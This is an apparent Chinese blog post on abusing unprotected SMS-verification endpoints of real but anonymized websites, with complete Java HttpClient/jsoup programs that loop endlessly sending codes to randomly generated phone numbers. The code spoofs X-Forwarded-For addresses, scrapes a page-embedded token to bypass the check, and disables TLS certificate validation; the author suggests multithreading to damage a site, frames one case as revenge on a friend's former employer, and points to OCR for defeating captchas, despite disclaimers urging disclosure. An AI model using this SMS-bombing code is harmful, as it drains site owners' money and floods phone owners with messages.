apache + httpclient4 + jsoup 进行模拟浏览器url访问

Hi,各位好,好久不玩博客了,最近在新公司无聊的时候,在查看一个其他网站的注册源代码时

发现了一处bug

首先前台页面是这样的结构(不显示相关网站的敏感信息)

这是一个很普通的注册页面,ok,我们看看相关js源代码,找到免费获取验证码的功能

这段代码就是普通的校验手机号,然后发送给短信接口api,60秒的校验重复发送,不知道大家发现问题了吗?

我可以根据url恶意仿造这接口需要的参数进行发送手机号码爆破,【(⊙?⊙)# 我都经历了什么。。呃。。】

目标服务器是http请求,那么我们先伪造一个试试【如果js被混淆可以使用Firefox查看post的数据请求及响应(。?_?)/~~~】

下图是直接在浏览器地址栏来进行http访问的

返回的是json数据   中文是Unicode码【Unicode码可以在网站上转换】,该Unicode码是“成功”的意思,同时手机上接收到了短信。

嗯,短信发送过来了,我们是不是该干点什么py交易了呢【(?????),罪恶】

我们可以使用ajax 跨域来访问也可以使用java  apache httpclient来进行模拟浏览器访问

一言不合贴maven【apache httpclient(这里使用的是4.5+版本)和 jsoup(解析html很好用)】

<dependency>
    <groupId>org.apache.httpcomponents</groupId>
    <artifactId>httpclient</artifactId>
    <version>4.5.2</version>
</dependency>

<dependency>
    <groupId>org.jsoup</groupId>
    <artifactId>jsoup</artifactId>
    <version>1.9.1</version>
</dependency>

上代码:http方式模拟访问url

import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ThreadLocalRandom;
import org.apache.http.HttpEntity;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.CloseableHttpResponse;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.util.EntityUtils;

public class Test {

	/**
	 * url
	 */
	private static String URL = "http://www.aaabbb.ccc/admin/sendmsg";

	/**
	 * 定义手机号码段
	 */
	private static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
			.split(",");

	/**
	 * 获取随机范围内的数字
	 */
	public static int getNum(int start, int end) {
		ThreadLocalRandom random = ThreadLocalRandom.current();
		return random.nextInt( (end - start + 1) + start);
	}

	/**
	 * 获取伪造的手机号
	 */
	private static String getTel() {
		int index = getNum(0, telFirst.length - 1);
		String first = telFirst[index];
		String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
		String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
		return first + second + thrid;
	}

	/**
	 * 获取伪造的ip
	 */
	public static String getIPProxy(){
		StringBuffer sb = new StringBuffer();
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		return sb.toString();
	}

	/**
	 * 程序入口
	 */
	public static void main(String[] args) throws Exception {
		 while(true){
			 //单线程的死循环
			 post(URL,getTel(),getIPProxy());
		 }
	}

	/**
	 * 发送 post请求访问本地应用并根据传递参数不同返回不同结果
	 */
	public static void post(String url, String number,String ip_proxy) {
		// 创建默认的httpClient实例.
		CloseableHttpClient httpclient = HttpClients.createDefault();
		// 创建httppost
		HttpPost httppost = new HttpPost(url);
		httppost.setHeader("Connection","keep-alive");
		httppost.setHeader("Referer","从哪个网站连入过来的");
		httppost.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
		httppost.setHeader("x-forwarded-for",ip_proxy);//伪造的ip地址
		// 创建参数队列
		List<NameValuePair> formparams = new ArrayList<NameValuePair>();
		formparams.add(new BasicNameValuePair("phone", number));
		UrlEncodedFormEntity uefEntity;
		try {
			uefEntity = new UrlEncodedFormEntity(formparams, "UTF-8");
			httppost.setEntity(uefEntity);
			System.out.println("executing request " + httppost.getURI());
			CloseableHttpResponse response = httpclient.execute(httppost);
			try {
				HttpEntity entity = response.getEntity();
				if (entity != null) {
					System.out.println("--------------------------------------");
					System.out.println("Response content: " + EntityUtils.toString(entity, "UTF-8"));
					System.out.println("--------------------------------------");
				}
			} finally {
				response.close();
			}
		} catch (ClientProtocolException e) {
			e.printStackTrace();
		} catch (UnsupportedEncodingException e1) {
			e1.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			// 关闭连接,释放资源
			try {
				httpclient.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

}

执行获得结果:

--------------------------------------

Response content: {"code":"2000","message":"\u6210\u529f"}

--------------------------------------

循环略..

例子为单线程死循环,如过想搞坏对方的话可以使用多线程,在此不列举多线程的相关知识了,您可以查找相关资料来了解。

PS:不过希望各位观众老爷知道这样做是不对的,以前有过短信接口了解,根据花钱的多少来决定每条短信多少钱,最便宜应该是比分还少的单位,别祸害了网站

我们从这个例子上发现问题,一个短信接口要做足权限及验证码的验证的【要不钱都被坏人盗刷了_(:зゝ∠)_】

发现了对方的问题,尽量通知到对方的网站管理员或者客服反馈bug。

下面我们在看一个例子:【…(⊙_⊙;)…嘎。还要看吗?】

事件前提:我一个朋友,在一家互联网公司做程序员,辛苦了一年【4个人完成了整个项目,项目卖了2000w+】,到了过年的前几天,无原因突然被辞退,

辛苦了一年,到头来什么也没得到,诶,有这样的领导真是人生寂寞如雪啊。。扯远了,反正就是被强制辞退打包回家活都不用交接直接算账走人。

然后看了看他们的网站注册。。。【咦?为什么还要看网站注册。。= ̄ω ̄=】

注册页面如图:

ok,在看下源代码:

咦,感觉好高端,加上了token。。。

然后在仔细查看这个token的赋值

服务端直接写入js变量里了。。。。

怎么办?感觉好难处理。别急,有jsoup!

jsoup的相关介绍和资料就不在这里写了,请大家自己动手去了解下,我的大概理解就是解析html document对象的,让你方便的获取你想要的信息等(不支持动态的js执行)

我们只要先链接一下该页面并获取到token并把该值传递到发送短信接口的参数里即可实现爆破。

上代码:

import java.io.IOException;
import java.util.concurrent.ThreadLocalRandom;
import org.apache.http.HttpResponse;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClients;
import org.apache.http.util.EntityUtils;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
/**
 * 爆破对方短信发送接口
 */
public class Test2 {

	/**
	 * 获取token地址   查了对方的网页源代码发现js处有token进行服务器编译
	 */
	static String GET_TOKEN_URL = "http://www.aaabbb.ccc/register.htm";
	/**
	 * 爆破地址  --短信接口模拟发送
	 */
	static String BOOM_URL = "http://www.aaabbb.ccc/sms_send.htm";

	/**
	 * 手机号段   173  180号段没见过 随便加的
	 */
	static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
			.split(",");

	/**
	 * 获取最大值范围内的随机数
	 */
	public static int getNum(int start, int end) {
		ThreadLocalRandom tlr = ThreadLocalRandom.current();
		int m = tlr.nextInt(end - start + 1) + start;
		return m;
	}

	/**
	 * 伪造电话号
	 */
	public static String getTel() {
		int index = getNum(0, telFirst.length - 1);
		String first = telFirst[index];
		String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
		String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
		return first + second + thrid;
	}

	/**
	 * 伪造ip
	 */
	public static String getIPProxy(){
		StringBuffer sb = new StringBuffer();
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		return sb.toString();
	}

	/**
	 * 程序入口
	 */
	public static void main(String[] args) throws Exception{
		//实际不在使用单一单线程,使用多线程搞破坏了
		while(true){
			kissMyAss(getTel(),getIPProxy());
		}

	}

	/**
	 * 获取token
	 */
	private static String getToken(String html){
		//解析返回的html
		Document doc = Jsoup.parse(html);
		//获取到带有script的元素组
		Elements eles = doc.select("script");
		if (eles != null && eles.size() > 0) {
			//根据页面分析得出token所在位置为第7个并且获取到token
			String token = eles.get(6).data().split(";")[1];
			token = token.replaceAll("var sms_token=", "").replaceAll("\"", "").replaceAll("\n", "").replaceAll(" ","").replaceAll("\t","").replaceAll("\r","");
			return token;
		}
		return null;
	}

	/**
	 * 你懂得
	 */
	public static void kissMyAss(String number,String ip_proxy) throws Exception {
		// // 创建HttpClientBuilder
		CloseableHttpClient client = HttpClients.createDefault();

		HttpPost httpPost = new HttpPost(GET_TOKEN_URL);
		try {
			// 执行post请求
			HttpResponse httpResponse = client.execute(httpPost);
			String html = EntityUtils.toString(httpResponse.getEntity());
			String token = getToken(html);
//			System.out.println(token);
			// 执行get请求
			//拼凑需要的参数
			HttpGet httpGet = new HttpGet(BOOM_URL + "?mobile=" + number + "&mobile_type=new&sms_token="+token);
			httpGet.setHeader("Connection","keep-alive");
			httpGet.setHeader("Referer","从哪个网站过来的");
			httpGet.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
			httpGet.setHeader("x-forwarded-for",ip_proxy);

			httpResponse = client.execute(httpGet);

			String bodyHtml = EntityUtils.toString(httpResponse.getEntity());
			System.out.println(bodyHtml);
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				// 关闭流并释放资源
				client.close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

}

返回结果:略。

恭喜你,你现在就可以做一个网站爬取的功能了

从这个问题我们也可以看出,光用token(此例子token纯属摆设)也是不行的,得有一套自己的加密规则和授权才可以

ok,那么看看现在的一些网站的注册页面里的短信发送接口吧。

我们来看一个网站,这个网站的所属公司是上市公司且在美国纳斯达克敲钟的。具体就不多说了

还是看页面

F12大法好

因为url被我除去了,他其实是https的访问

https相关的知识也请各位自行搜索

httpclient如何用https来访问呢?

上代码:【其中借鉴了网上一些博客的代码段】

import java.security.cert.X509Certificate;
import java.util.concurrent.ThreadLocalRandom;
import javax.net.ssl.SSLContext;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import org.apache.http.HttpResponse;
import org.apache.http.HttpVersion;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.conn.ClientConnectionManager;
import org.apache.http.conn.params.ConnManagerPNames;
import org.apache.http.conn.params.ConnPerRouteBean;
import org.apache.http.conn.scheme.PlainSocketFactory;
import org.apache.http.conn.scheme.Scheme;
import org.apache.http.conn.scheme.SchemeRegistry;
import org.apache.http.conn.ssl.SSLSocketFactory;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.impl.conn.SingleClientConnManager;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.HttpParams;
import org.apache.http.params.HttpProtocolParams;
import org.apache.http.util.EntityUtils;

public class HttpsTest {

	/**
	 * 手机号段   173  180号段没见过 随便加的
	 */
	static String[] telFirst = "134,135,136,137,138,139,150,151,152,157,158,159,130,131,132,155,156,133,153,173,180"
			.split(",");

	/**
	 * 获取最大值范围内的随机数
	 */
	public static int getNum(int start, int end) {
		ThreadLocalRandom tlr = ThreadLocalRandom.current();
		int m = tlr.nextInt(end - start + 1) + start;
		return m;
	}

	/**
	 * 伪造电话号
	 */
	public static String getTel() {
		int index = getNum(0, telFirst.length - 1);
		String first = telFirst[index];
		String second = String.valueOf(getNum(1, 888) + 10000).substring(1);
		String thrid = String.valueOf(getNum(1, 9100) + 10000).substring(1);
		return first + second + thrid;
	}

	/**
	 * 伪造ip
	 */
	public static String getIPProxy(){
		StringBuffer sb = new StringBuffer();
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		sb.append(".");
		sb.append(getNum(2,254));
		return sb.toString();
	}

	public static void main(String[] args) throws Exception {
		// // 获得密匙库
		// KeyStore trustStore = KeyStore.getInstance(KeyStore.getDefaultType());
		// FileInputStream instream = new FileInputStream(new File(" D:/zzaa "));
		// // 密匙库的密码
		// trustStore.load(instream, " 123456 ".toCharArray());
		// // 注册密匙库
		X509TrustManager tm = new X509TrustManager() {

			public void checkClientTrusted(X509Certificate[] xcs, String string) {
			}

			public void checkServerTrusted(X509Certificate[] xcs, String string) {
			}

			public X509Certificate[] getAcceptedIssuers() {
				return null;
			}
		};
		SSLContext sslcontext = SSLContext.getInstance("TLS");
		sslcontext.init(null, new TrustManager[] { tm }, null);
		SSLSocketFactory socketFactory = new SSLSocketFactory(sslcontext, SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);
		// 不校验域名
		// socketFactory.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
		Scheme sch = new Scheme("https", 443, socketFactory);
		SchemeRegistry schemeRegistry = new SchemeRegistry();
		schemeRegistry.register(new Scheme("http", PlainSocketFactory.getSocketFactory(), 80));
		schemeRegistry.register(sch);
		HttpParams params = new BasicHttpParams();
		params.setParameter(ConnManagerPNames.MAX_TOTAL_CONNECTIONS, 30);
		params.setParameter(ConnManagerPNames.MAX_CONNECTIONS_PER_ROUTE, new ConnPerRouteBean(30));
		params.setParameter(HttpProtocolParams.USE_EXPECT_CONTINUE, false);
		HttpProtocolParams.setVersion(params, HttpVersion.HTTP_1_1);
		ClientConnectionManager cm = new SingleClientConnManager(params, schemeRegistry);
		HttpClient httpClient = new DefaultHttpClient(cm, params);
		// 获得HttpGet对象
		String number = getTel();
		System.out.println(number);
		HttpPost post = new HttpPost("https://aaa.bbb.ccc/ddd?MobilePhone="+number+"&Service=xxxx&MathCode=&Operatetype=2");

		post.setHeader("Connection","keep-alive");
		post.setHeader("Host","aaa.bbb.ccc");
		post.setHeader("X-Requested-With","XMLHttpRequest");
		post.setHeader("DNT","1");//不被跟踪
		post.setHeader("Referer","从哪个网站访问过来的");
		post.setHeader("User-Agent","Mozilla/5.0 (Windows NT 6.1; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0");
		post.setHeader("x-forwarded-for",getIPProxy());
		// 发送请求
		HttpResponse response = httpClient.execute(post);
		// 输出返回值
		System.out.println(EntityUtils.toString(response.getEntity()));

	}
}

执行返回结果:略。

其实他有个参数是验证码的参数,只是没有强制带入

同时也看了看各大网站的注册发送短信接口的发送参数,

淘宝的注册可是带都是特定加密信息规则的【(¬_¬)。。你还想干嘛?】

去哪网是带验证码【如果想破解可以了解下ocr图像文字识别技术,安利个开源的一个ocr接口 https://github.com/AvensLab/OcrKing 】

ok,先说这么多吧,再说多就会被请去喝茶聊天了。_(:зゝ∠)_

希望各位也不要乱搞啊。发现bug要发给网站维护人员啊!!!!

还有就是伪造ip那个只是一部分YY而已。他们也是有各种手段来获取到你的真实ip的。

把自己的接口写的茁壮才是正经事诶诶诶!

谢谢各位观众老爷,下次写博客就不知道是什么时候了。o(≧口≦)o

------

55555~~~图片截图得不行,毕竟csdn没网易邮箱那么智能~截个图就能显示不用存网络了。又重新弄了一次图片下载本地上传。

PS:本想看看csdn短信接口来着,不过他的短信接口已经500了_(:зゝ∠)_

时间: 2024-10-12 13:58:01

apache + httpclient4 + jsoup 进行模拟浏览器url访问的相关文章

JavaWeb的学习--XML&amp;反射案例:通过解析xml,模拟浏览器路径访问servlet

1. 案例分析 通过解析xml,模拟浏览器路径访问servlet,我们希望用户访问的路径是/servlet1,将执行com.java.web.servlet01.MyServlet01程序,如果访问      的路径是/servlet2,将执行com.java.web.servlet01.MyServlet02程序. 在执行测试程序前(@before),解析xml文件,将解析的结果存放在Map集合中,map中的数据的格式为 路径=实现类. 解析xml的思路:先解析<servlet>,将结果存放

httpClient模拟浏览器发请求

一.介绍 httpClient是Apache公司的一个子项目, 用来提高高效的.最新的.功能丰富的支持http协议的客户端编程工具包.完成可以模拟浏览器发起请求行为. 二.简单使用例子 : 模拟浏览器发起访问谷歌首页请求 1.pom.xml 配置 <dependency> <groupId>commons-httpclient</groupId> <artifactId>commons-httpclient</artifactId> <ve

php -- php模拟浏览器访问网址

目前我所了解到的在php后台中,用php模拟浏览器访问网址的方法有两种: 第一种:file_get_contents($url) 通过php内置的 file_get_contents 函数可以模拟浏览器访问网址的行为,取的结果就是那个网址所返回的所有东西(这种情况一般用于返回的是 xml 格式字符串或者 json 字符串) 第二种:curl curl 是 php 提供的内置函数,其功能非常强大,封装常用的http,soap,ftp等协议 微信主要通过其进行模拟POST请求 1)初始化curl 2

走进http的世界------用C代码模拟浏览器IE(http client)访问web(http server)的行为

在本文中, 我们来玩一下http.   既然你看到了这篇文章, 那就说明你肯定直接或间接借助了http协议(浏览器的实现需要用到http协议). 很多书本把http介绍得玄乎其玄, 高深莫测, 其实,  http也没什么大不了的. 当我们用浏览器看登录www.baidu.com的时候, 浏览器相当于客户端, 而服务端是百度公司掌控着. 要想大致了解http,  网上资料可谓如山如海.作为一名程序员(注意, 我说的是程序猿), 我始终坚信, 没有代码, 没有实践, 只讲理论, 那就是扯淡, 尽管一

java 实现模拟浏览器 访问网站

一般的情况下我们都是使用IE或者Navigator浏览器来访问一个WEB服务器,用来浏览页面查看信息或者提交一些数据等等.所访问的这些页面 有的仅仅是一些普通的页面,有的需要用户登录后方可使用,或者需要认证以及是一些通过加密方式传输,例如HTTPS.目前我们使用的浏览器处理这些情况都 不会构成问题.不过你可能在某些时候需要通过程序来访问这样的一些页面,比如从别人的网页中“偷”一些数据:利用某些站点提供的页面来完成某种功能,例如 说我们想知道某个手机号码的归属地而我们自己又没有这样的数据,因此只好

python爬虫模拟浏览器访问-User-Agent

模拟浏览器访问-User-Agent: import urllib2 #User-Agent 模拟浏览器访问 headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36"} #通过urllib2.Request()方法构造一个请求对象 request

java程序模拟浏览器访问Web服务器的处理过程

import java.net.*; import java.io.*; /* * 演示浏览器访问Web服务器的处理过程 */ public class WebServerDemo { public static void main(String[] args)throws IOException{ ServerSocket ss=new ServerSocket(10000); Socket s=ss.accept(); byte[] bytes=new byte[1024]; int len

Python模拟浏览器实现网页访问

模拟浏览器请求数据: import socket # 创建TCP链接 tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # DNS 解析和链接HTTP服务器 tcp_socket.connect(("www.qq.com", 80)) # 编写请求头, 发送HTTP请求报文 # 请求行 request_line = "GET / HTTP/1.1\r\n" # 请求头,设置请求域名 requ

httpClient模拟浏览器登陆之谜

httpClient能够模拟浏览器进行自动登陆,但是如果页面上加了一个小小的验证码,自动登陆就会变的非常非常之复杂. 下面我们讨论的问题,都是不考虑有验证码等防止自动化登陆的情况下进行处理. 利用httpClient进行一个简单的登陆示例: packagetest.ffm83.commons.httpClient; importjava.util.ArrayList; importjava.util.List; importorg.apache.http.HttpEntity; importor